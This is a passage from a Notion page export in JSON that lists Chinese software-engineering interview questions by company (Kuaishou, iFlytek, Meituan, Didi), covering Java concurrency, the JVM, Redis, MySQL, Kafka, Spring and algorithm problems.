id":"8c935cba-fb3e-48be-acb7-457c1fa98cb2","type":"bulleted_list","properties":{"title":[["Redis跟MySQL那套八股文的知识点。"]]},"created_time":1712329332805,"last_edited_time":1712329332805,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fea86322-42e9-49e8-9153-a52ff964c49a":{"value":{"id":"fea86322-42e9-49e8-9153-a52ff964c49a","type":"bulleted_list","properties":{"title":[["LeetCode 236. 二叉树的最近公共祖先。"]]},"created_time":1712329332805,"last_edited_time":1712329332805,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"41e5f723-06cd-4b04-b819-c10d16f5fddf":{"value":{"id":"41e5f723-06cd-4b04-b819-c10d16f5fddf","type":"bulleted_list","properties":{"title":[["ZooKeeper 的理解。"]]},"created_time":1712329332805,"last_edited_time":1712330734399,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9f4c0c55-c055-4da7-8470-723b91c2da4b":{"value":{"id":"9f4c0c55-c055-4da7-8470-723b91c2da4b","type":"bulleted_list","properties":{"title":[["数据重复消费如何解决。"]]},"created_time":1712330734399,"last_edited_time":1712330734399,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"7b26ba4c-6099-4bad-8192-ada1543a3613":{"value":{"id":"7b26ba4c-6099-4bad-8192-ada1543a3613","type":"bulleted_list","properties":{"title":[["RabbitMQ 跟 Kafka 聊一聊 宏观 自己说那种。"]]},"created_time":1712329332806,"last_edited_time":1712329332806,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c6e89621-3940-4535-939a-bf76f881d1b5":{"value":{"id":"c6e89621-3940-4535-939a-bf76f881d1b5","type":"bulleted_list","properties":{"title":[["线程池如何实现参数的动态修改。"]]},"created_time":1712329332806,"last_edited_time":1712329332806,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f7f96026-d1eb-4652-8efb-90f34516df6e":{"value":{"id":"f7f96026-d1eb-4652-8efb-90f34516df6e","type":"bulleted_list","properties":{"title":[["Hive执行的底层原理。"]]},"created_time":1712329332806,"last_edited_time":1712329332806,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2d0e1947-c263-4e83-b7ca-54f3621aa928":{"value":{"id":"2d0e1947-c263-4e83-b7ca-54f3621aa928","type":"bulleted_list","properties":{"title":[["字符串消消乐。"]]},"created_time":1712329332806,"last_edited_time":1712329332806,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f459549c-f5aa-40c6-a5d8-f39f530fe451":{"value":{"id":"f459549c-f5aa-40c6-a5d8-f39f530fe451","type":"header","properties":{"title":[["9.快手"]]},"created_time":1712329332806,"last_edited_time":1712329766319,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fc636f3a-022a-495c-b63a-4ccf279c8867":{"value":{"id":"fc636f3a-022a-495c-b63a-4ccf279c8867","type":"bulleted_list","properties":{"title":[["链表是否存在环,如果存在咋找到入口,如何获得环长度,为什么fast是2步,345步行不行?"]]},"created_time":1712329332807,"last_edited_time":1712330757900,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d28ad1ad-5481-40ca-a5a9-0b797717480b":{"value":{"id":"d28ad1ad-5481-40ca-a5a9-0b797717480b","type":"bulleted_list","properties":{"title":[["线程咋打断,interrupt 用法。"]]},"created_time":1712329332807,"last_edited_time":1712329332807,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1dee8a6c-026d-4d14-9e57-36ffc71513c0":{"value":{"id":"1dee8a6c-026d-4d14-9e57-36ffc71513c0","type":"bulleted_list","properties":{"title":[["LeetCode 124,给定一个非空二叉树,返回最大路径和。"]]},"created_time":1712329332807,"last_edited_time":1712329332807,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2f468459-3c5e-4f79-8ee1-c34f38a605a4":{"value":{"id":"2f468459-3c5e-4f79-8ee1-c34f38a605a4","type":"bulleted_list","properties":{"title":[["JUC 高频八股文考点。"]]},"created_time":1712329332807,"last_edited_time":1712329332807,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"93740a03-8f20-400e-afb0-09b6680836da":{"value":{"id":"93740a03-8f20-400e-afb0-09b6680836da","type":"bulleted_list","properties":{"title":[["syn跟Lock对比,如何进行选择性使用呢。"]]},"created_time":1712329332807,"last_edited_time":1712329332807,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"324c4d49-0baf-4ad4-80ed-9ed36ac01c11":{"value":{"id":"324c4d49-0baf-4ad4-80ed-9ed36ac01c11","type":"bulleted_list","properties":{"title":[["BitMap 统计那些数据出现过,那些没出现过。"]]},"created_time":1712329332808,"last_edited_time":1712329332808,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6e8bf4f8-dff0-4f13-a370-4cc671c9e1e8":{"value":{"id":"6e8bf4f8-dff0-4f13-a370-4cc671c9e1e8","type":"bulleted_list","properties":{"title":[["还有好几个是场景设计思考的题,当时能说个12,然后面试官会引导你,看你是否能说出个3来。"]]},"created_time":1712329332808,"last_edited_time":1712329332808,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"03d8bd76-d4a0-4cc3-adab-02ffbbe52973":{"value":{"id":"03d8bd76-d4a0-4cc3-adab-02ffbbe52973","type":"bulleted_list","properties":{"title":[["业务数据处理时数据治理问题,如果规则引擎经常增删如何实现高效的对外服务。"]]},"created_time":1712329332808,"last_edited_time":1712329332808,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"070655f3-fe6b-4332-b10f-58c2078ab2bf":{"value":{"id":"070655f3-fe6b-4332-b10f-58c2078ab2bf","type":"bulleted_list","properties":{"title":[["大数据从数据收集到对外提供服务的思维跟理念,数据从MySQL、Redis、MongoDB等各种平台获取到后,如何提供对外服务。如何提供高质量的服务呢"]]},"created_time":1712329332808,"last_edited_time":1712329332808,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"45e5ebda-f8cf-4de3-8e2b-dc77babac0d1":{"value":{"id":"45e5ebda-f8cf-4de3-8e2b-dc77babac0d1","type":"bulleted_list","properties":{"title":[["数据提供服务需要考虑的点,OLAP、OLTP、高性能、高可用、高扩展。"]]},"created_time":1712329332808,"last_edited_time":1712329332808,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"929bd2c0-8a18-4b2e-a955-3346248e1480":{"value":{"id":"929bd2c0-8a18-4b2e-a955-3346248e1480","type":"bulleted_list","properties":{"title":[["A服务器a,B服务器文件b,如何判断ab文件是否一致,尽可能的避免来回传输。"]]},"created_time":1712329332808,"last_edited_time":1712330764809,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0995a439-9e8a-4669-a9d5-7aa375ce13f3":{"value":{"id":"0995a439-9e8a-4669-a9d5-7aa375ce13f3","type":"bulleted_list","properties":{"title":[["MySQL用户数据,如何保证高可用,你对高并发的理解是啥。"]]},"created_time":1712329332809,"last_edited_time":1712329332809,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0a01784f-2228-4d7a-b890-81ac5bc7c165":{"value":{"id":"0a01784f-2228-4d7a-b890-81ac5bc7c165","type":"bulleted_list","properties":{"title":[["数据治理方面的思想idea。"]]},"created_time":1712329332809,"last_edited_time":1712329332809,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1966f572-29f2-4be1-a098-7ab4eaa3cb1a":{"value":{"id":"1966f572-29f2-4be1-a098-7ab4eaa3cb1a","type":"bulleted_list","properties":{"title":[["无损降级听过吗。"]]},"created_time":1712329332809,"last_edited_time":1712329332809,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"77af2988-8168-4d90-b4fa-62c2286bb310":{"value":{"id":"77af2988-8168-4d90-b4fa-62c2286bb310","type":"bulleted_list","properties":{"title":[["布隆过滤器的思想,多个布隆过滤器的思想?"]]},"created_time":1712329332809,"last_edited_time":1712329332809,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"24b77ba0-e7b8-4356-b9c5-48664845391d":{"value":{"id":"24b77ba0-e7b8-4356-b9c5-48664845391d","type":"bulleted_list","properties":{"title":[["服务治理的思考。"]]},"created_time":1712329332809,"last_edited_time":1712329332809,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9a01ce6f-a7dc-4323-88c6-954a216d8698":{"value":{"id":"9a01ce6f-a7dc-4323-88c6-954a216d8698","type":"bulleted_list","properties":{"title":[["10块糖,每次最多3个 如何保证必须赢, n块糖呢?如何保证赢。"]]},"created_time":1712329332810,"last_edited_time":1712329332810,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"29f333c7-dc63-44b2-9b78-2fb60d1b2f3d":{"value":{"id":"29f333c7-dc63-44b2-9b78-2fb60d1b2f3d","type":"bulleted_list","properties":{"title":[["你负责的是什么部分,你感觉最大挑战是啥,选个感觉最好的项目说一说。"]]},"created_time":1712329332810,"last_edited_time":1712329332810,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7efcdb5a-117d-49f1-bf81-a2f47a678b7c":{"value":{"id":"7efcdb5a-117d-49f1-bf81-a2f47a678b7c","type":"bulleted_list","properties":{"title":[["你对大数据架构体系理解。fast counter 如何实现 类似 变量\ni++那种(没及时沟通,充分理解题意)。最后知道考察的是LongAdder 跟\nThreadLocal。"]]},"created_time":1712329332810,"last_edited_time":1712329332810,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bd82efd5-2a0b-4a2e-9594-e81649a26bcf":{"value":{"id":"bd82efd5-2a0b-4a2e-9594-e81649a26bcf","type":"bulleted_list","properties":{"title":[["hive 实现底层 ,开窗函数的考察。"]]},"created_time":1712329332810,"last_edited_time":1712329332810,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"00965e64-5a49-44b2-82cb-1ee2c338ef8c":{"value":{"id":"00965e64-5a49-44b2-82cb-1ee2c338ef8c","type":"bulleted_list","properties":{"title":[["Redis中的常见高频考点。"]]},"created_time":1712329332810,"last_edited_time":1712329332810,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"22012bbf-2959-47d0-9b80-dc2d0bb1bb71":{"value":{"id":"22012bbf-2959-47d0-9b80-dc2d0bb1bb71","type":"bulleted_list","properties":{"title":[["syn 对象头咋回事,锁升级过程。"]]},"created_time":1712329332810,"last_edited_time":1712329332810,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"886a5a45-b056-47fe-a239-e93366f41885":{"value":{"id":"886a5a45-b056-47fe-a239-e93366f41885","type":"bulleted_list","properties":{"title":[["调度框架 爬取10万个URL,10万个URL 属于不同的节点,\n每个节点有不同的访问频率跟总次数限制,如何实现。"]]},"created_time":1712329332811,"last_edited_time":1712329332811,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"14f503ce-e23c-4947-a981-3bdbe4ec76cd":{"value":{"id":"14f503ce-e23c-4947-a981-3bdbe4ec76cd","type":"bulleted_list","properties":{"title":[["Kafka架构体系说下,自己的理解。Leader自己理解下。"]]},"created_time":1712329332811,"last_edited_time":1712329332811,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"67ae3973-9d73-40ff-8cde-a1d18e470995":{"value":{"id":"67ae3973-9d73-40ff-8cde-a1d18e470995","type":"header","properties":{"title":[["10.科大讯飞"]]},"created_time":1712329332811,"last_edited_time":1712329769287,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e63d2933-b543-4fd2-86ef-c72f1811141c":{"value":{"id":"e63d2933-b543-4fd2-86ef-c72f1811141c","type":"bulleted_list","properties":{"title":[["数据量这么多怎么优化(如何分库分表)"]]},"created_time":1712329332812,"last_edited_time":1712329332812,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"854282f1-782e-4c55-9093-f22149b29d91":{"value":{"id":"854282f1-782e-4c55-9093-f22149b29d91","type":"bulleted_list","properties":{"title":[["虚拟机内存结构"]]},"created_time":1712329332812,"last_edited_time":1712329332812,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"22d3559a-92b0-4e26-a7b3-78b2b84a71c8":{"value":{"id":"22d3559a-92b0-4e26-a7b3-78b2b84a71c8","type":"bulleted_list","properties":{"title":[["start和run的区别"]]},"created_time":1712329332812,"last_edited_time":1712329332812,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0e032888-2c91-4aea-b9f8-41605b4b3771":{"value":{"id":"0e032888-2c91-4aea-b9f8-41605b4b3771","type":"bulleted_list","properties":{"title":[["双亲委派模型"]]},"created_time":1712329332812,"last_edited_time":1712329332812,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d5f92888-ebe2-46d3-91a8-56a0ae22ceaf":{"value":{"id":"d5f92888-ebe2-46d3-91a8-56a0ae22ceaf","type":"bulleted_list","properties":{"title":[["redis的数据类型"]]},"created_time":1712329332812,"last_edited_time":1712329332812,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2e773a44-5a2f-43a0-9a02-9b1b5fa07591":{"value":{"id":"2e773a44-5a2f-43a0-9a02-9b1b5fa07591","type":"bulleted_list","properties":{"title":[["redis一般存什么数据"]]},"created_time":1712329332813,"last_edited_time":1712329332813,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e3b36ef2-fdbc-489c-8d5e-a49c5afa916f":{"value":{"id":"e3b36ef2-fdbc-489c-8d5e-a49c5afa916f","type":"bulleted_list","properties":{"title":[["怎么虚拟机调优"]]},"created_time":1712329332813,"last_edited_time":1712329332813,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"92eea23c-3f6e-41a4-8485-ac6259772354":{"value":{"id":"92eea23c-3f6e-41a4-8485-ac6259772354","type":"bulleted_list","properties":{"title":[["创建线程的方式有几种"]]},"created_time":1712329332813,"last_edited_time":1712329332813,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ddc26b49-812e-4810-9ca0-a037c0b10206":{"value":{"id":"ddc26b49-812e-4810-9ca0-a037c0b10206","type":"bulleted_list","properties":{"title":[["介绍下线程池"]]},"created_time":1712329332813,"last_edited_time":1712329332813,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d51b6612-93a0-4ee3-9984-e89acb0ba71a":{"value":{"id":"d51b6612-93a0-4ee3-9984-e89acb0ba71a","type":"bulleted_list","properties":{"title":[["sql优化"]]},"created_time":1712329332814,"last_edited_time":1712329332814,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"555f449c-347e-4e98-8c79-c126dd73a549":{"value":{"id":"555f449c-347e-4e98-8c79-c126dd73a549","type":"bulleted_list","properties":{"title":[["虚拟机参数,虚拟机内存模型"]]},"created_time":1712329332814,"last_edited_time":1712329332814,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"061afd50-142f-4ec8-9c05-85449974bad3":{"value":{"id":"061afd50-142f-4ec8-9c05-85449974bad3","type":"bulleted_list","properties":{"title":[["redis的数据类型"]]},"created_time":1712329332814,"last_edited_time":1712329332814,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6a457063-018a-4d4d-b2b0-55fd7b13a46b":{"value":{"id":"6a457063-018a-4d4d-b2b0-55fd7b13a46b","type":"bulleted_list","properties":{"title":[["redis持久化方式的区别"]]},"created_time":1712329332814,"last_edited_time":1712329332814,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"65dbe164-7139-42c0-ad29-a487d31a6b0d":{"value":{"id":"65dbe164-7139-42c0-ad29-a487d31a6b0d","type":"bulleted_list","properties":{"title":[["synch锁膨胀的过程"]]},"created_time":1712329332814,"last_edited_time":1712329332814,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9fdd4f83-e293-4fa3-8a15-96a86bc83451":{"value":{"id":"9fdd4f83-e293-4fa3-8a15-96a86bc83451","type":"bulleted_list","properties":{"title":[["hashmap是否安全"]]},"created_time":1712329332815,"last_edited_time":1712329332815,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6bfafd6a-52f2-4af2-b95d-12ff4221a89e":{"value":{"id":"6bfafd6a-52f2-4af2-b95d-12ff4221a89e","type":"bulleted_list","properties":{"title":[["concurrentHashmap"]]},"created_time":1712329332815,"last_edited_time":1712329332815,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"94826d1a-e002-44d2-89cb-9160eefa4211":{"value":{"id":"94826d1a-e002-44d2-89cb-9160eefa4211","type":"bulleted_list","properties":{"title":[["线程run和start区别"]]},"created_time":1712329332815,"last_edited_time":1712329332815,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"177e3856-c825-4517-b084-650b6eeea020":{"value":{"id":"177e3856-c825-4517-b084-650b6eeea020","type":"bulleted_list","properties":{"title":[["怎么优化sql"]]},"created_time":1712329332815,"last_edited_time":1712329332815,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"03543170-f5fa-4329-8ab9-3c1a72d9e27c":{"value":{"id":"03543170-f5fa-4329-8ab9-3c1a72d9e27c","type":"bulleted_list","properties":{"title":[["介绍forkJoinPool,为什么使用这个"]]},"created_time":1712329332815,"last_edited_time":1712329332815,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"89e8ec29-0acf-4ba5-830d-6406823d0b88":{"value":{"id":"89e8ec29-0acf-4ba5-830d-6406823d0b88","type":"bulleted_list","properties":{"title":[["虚拟机的内存结构"]]},"created_time":1712329332816,"last_edited_time":1712329332816,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"49346313-f713-4b87-8b65-f3b2be626e41":{"value":{"id":"49346313-f713-4b87-8b65-f3b2be626e41","type":"bulleted_list","properties":{"title":[["双亲委派模型"]]},"created_time":1712329332816,"last_edited_time":1712329332816,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"59bb3866-ee38-41a4-8ac5-1e97520192ed":{"value":{"id":"59bb3866-ee38-41a4-8ac5-1e97520192ed","type":"header","properties":{"title":[["11.美团"]]},"created_time":1712329332816,"last_edited_time":1712334942144,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f8db62b0-7be1-496f-b798-a731b06b5bc0":{"value":{"id":"f8db62b0-7be1-496f-b798-a731b06b5bc0","type":"bulleted_list","properties":{"title":[["如果因为一些原因,线上Redis挂了,然后所有请求打到数据库层导致数据库也挂了,这时该怎么进行恢复?"]]},"created_time":1712329332816,"last_edited_time":1712329332816,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7df90f38-1a9f-4ba7-abdc-5f515aca0bd6":{"value":{"id":"7df90f38-1a9f-4ba7-abdc-5f515aca0bd6","type":"bulleted_list","properties":{"title":[["Spring里面的beanid是否允许重复?如果允许重复的话重复了怎么办?如果不允许重复是怎么处理的"]]},"created_time":1712329332817,"last_edited_time":1712330799408,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d41a72da-e1fa-485f-98a7-769732e62f77":{"value":{"id":"d41a72da-e1fa-485f-98a7-769732e62f77","type":"bulleted_list","properties":{"title":[["G1对宿主机有什么要求?"]]},"created_time":1712329332817,"last_edited_time":1712329332817,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1f909985-df10-4280-9b2b-a5c4edf4e7b4":{"value":{"id":"1f909985-df10-4280-9b2b-a5c4edf4e7b4","type":"bulleted_list","properties":{"title":[["堆设置有什么注意事项?"]]},"created_time":1712329332817,"last_edited_time":1712329332817,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"dee39f9f-2269-4cd5-952c-e51b16ccc295":{"value":{"id":"dee39f9f-2269-4cd5-952c-e51b16ccc295","type":"bulleted_list","properties":{"title":[["Spring和Mybatis是怎么结合的?"]]},"created_time":1712329332818,"last_edited_time":1712329332818,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7995f917-8616-483e-83ec-44cb5cfdcd6f":{"value":{"id":"7995f917-8616-483e-83ec-44cb5cfdcd6f","type":"bulleted_list","properties":{"title":[["mysql explain有哪些项?"]]},"created_time":1712329332818,"last_edited_time":1712329332818,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1c02b7b5-4ab9-4b9d-9fcb-40acd5910df0":{"value":{"id":"1c02b7b5-4ab9-4b9d-9fcb-40acd5910df0","type":"bulleted_list","properties":{"title":[["dubbo协议"]]},"created_time":1712329332818,"last_edited_time":1712329332818,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ac0e2478-b76d-4c6f-8a3f-c78eb14ca784":{"value":{"id":"ac0e2478-b76d-4c6f-8a3f-c78eb14ca784","type":"bulleted_list","properties":{"title":[["单链表找循环节点"]]},"created_time":1712329332818,"last_edited_time":1712329332818,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d6165a35-4714-420b-9df1-4a281510bba4":{"value":{"id":"d6165a35-4714-420b-9df1-4a281510bba4","type":"bulleted_list","properties":{"title":[["手写Dubbo的加权随机算法"]]},"created_time":1712329332819,"last_edited_time":1712329332819,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e654ddf1-ca3c-40e4-8e1d-5ae120845e65":{"value":{"id":"e654ddf1-ca3c-40e4-8e1d-5ae120845e65","type":"bulleted_list","properties":{"title":[["Spring获取代理对象解决事务失效的问题"]]},"created_time":1712329332819,"last_edited_time":1712329332819,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b07ccaf0-6980-4f4a-ac5a-cda16ccedc06":{"value":{"id":"b07ccaf0-6980-4f4a-ac5a-cda16ccedc06","type":"bulleted_list","properties":{"title":[["顺序读取一亿个整数,找出前100万大的数字,内存限定大小为10M,后内存限定大小为5M。"]]},"created_time":1712329332819,"last_edited_time":1712329332819,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"01d6f2b1-d69f-4f7a-9734-5577a1a5b37d":{"value":{"id":"01d6f2b1-d69f-4f7a-9734-5577a1a5b37d","type":"bulleted_list","properties":{"title":[["一个升序数组,随机选择一个旋转节点。右边的有序段放到左边,依然保持有序;左边的有序段放到右边,依然保持有序。然后从这个数组中查找某个数。"]]},"created_time":1712329332820,"last_edited_time":1712329332820,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"204fed94-9d03-42e7-84e2-a1e80d84a376":{"value":{"id":"204fed94-9d03-42e7-84e2-a1e80d84a376","type":"bulleted_list","properties":{"title":[["stream和foreach区别"]]},"created_time":1712329332820,"last_edited_time":1712329332820,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"39f32e90-ebd7-48ca-a09c-24f6d7b4cbcd":{"value":{"id":"39f32e90-ebd7-48ca-a09c-24f6d7b4cbcd","type":"bulleted_list","properties":{"title":[["zookeeper和nacos区别?nacos符合CP还是AP?"]]},"created_time":1712329332820,"last_edited_time":1712329332820,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"577a65aa-1225-43a8-8e66-b3d5bed6658a":{"value":{"id":"577a65aa-1225-43a8-8e66-b3d5bed6658a","type":"header","properties":{"title":[["12.滴滴"]]},"created_time":1712329332821,"last_edited_time":1712334952678,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a7cd8066-55a2-407e-a522-286216adf41f":{"value":{"id":"a7cd8066-55a2-407e-a522-286216adf41f","type":"bulleted_list","properties":{"title":[["Java线程的状态及转换"]]},"created_time":1712329332821,"last_edited_time":1712329332821,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"af7741f0-3dd3-48fa-8565-4fd4de7a96ce":{"value":{"id":"af7741f0-3dd3-48fa-8565-4fd4de7a96ce","type":"bulleted_list","properties":{"title":[["Java创建线程的方式"]]},"created_time":1712329332822,"last_edited_time":1712329332822,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e8b150bb-6e6b-4b71-9c03-6b3fb5e4dee0":{"value":{"id":"e8b150bb-6e6b-4b71-9c03-6b3fb5e4dee0","type":"bulleted_list","properties":{"title":[["创建线程池的方式有哪些"]]},"created_time":1712329332822,"last_edited_time":1712329332822,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"31ce73a4-7616-4f81-b0cc-9437754f65e0":{"value":{"id":"31ce73a4-7616-4f81-b0cc-9437754f65e0","type":"bulleted_list","properties":{"title":[["JUC包下的类,能说多少说多少"]]},"created_time":1712329332822,"last_edited_time":1712329332822,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8e675995-1af7-46c1-8a47-11f2bd6fb01b":{"value":{"id":"8e675995-1af7-46c1-8a47-11f2bd6fb01b","type":"bulleted_list","properties":{"title":[["ReentranLock与sychronized的区别"]]},"created_time":1712329332822,"last_edited_time":1712329332822,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"057c07ed-292a-480f-b051-ab4304e699a3":{"value":{"id":"057c07ed-292a-480f-b051-ab4304e699a3","type":"bulleted_list","properties":{"title":[["volitile的内存语义,底层如何实现"]]},"created_time":1712329332822,"last_edited_time":1712329332822,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b3b7d0c7-e837-4234-9d58-fa0c0a3e3139":{"value":{"id":"b3b7d0c7-e837-4234-9d58-fa0c0a3e3139","type":"bulleted_list","properties":{"title":[["解释一下happens-before,有哪些规则"]]},"created_time":1712329332822,"last_edited_time":1712329332822,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f7aa6298-36f3-48cf-b9cc-41d91048a573":{"value":{"id":"f7aa6298-36f3-48cf-b9cc-41d91048a573","type":"bulleted_list","properties":{"title":[["CurrentHashMap源码"]]},"created_time":1712329332823,"last_edited_time":1712329332823,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"64f13aed-adf5-4775-b7be-5996283ba343":{"value":{"id":"64f13aed-adf5-4775-b7be-5996283ba343","type":"bulleted_list","properties":{"title":[["MySQL的索引及区别"]]},"created_time":1712329332823,"last_edited_time":1712329332823,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c0d05640-a4c2-4ac6-8c97-132df2580b41":{"value":{"id":"c0d05640-a4c2-4ac6-8c97-132df2580b41","type":"bulleted_list","properties":{"title":[["算法题:顺时针打印矩阵"]]},"created_time":1712329332823,"last_edited_time":1712329332823,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"41b454e3-d4eb-4b4e-9d22-2887ddb597c6":{"value":{"id":"41b454e3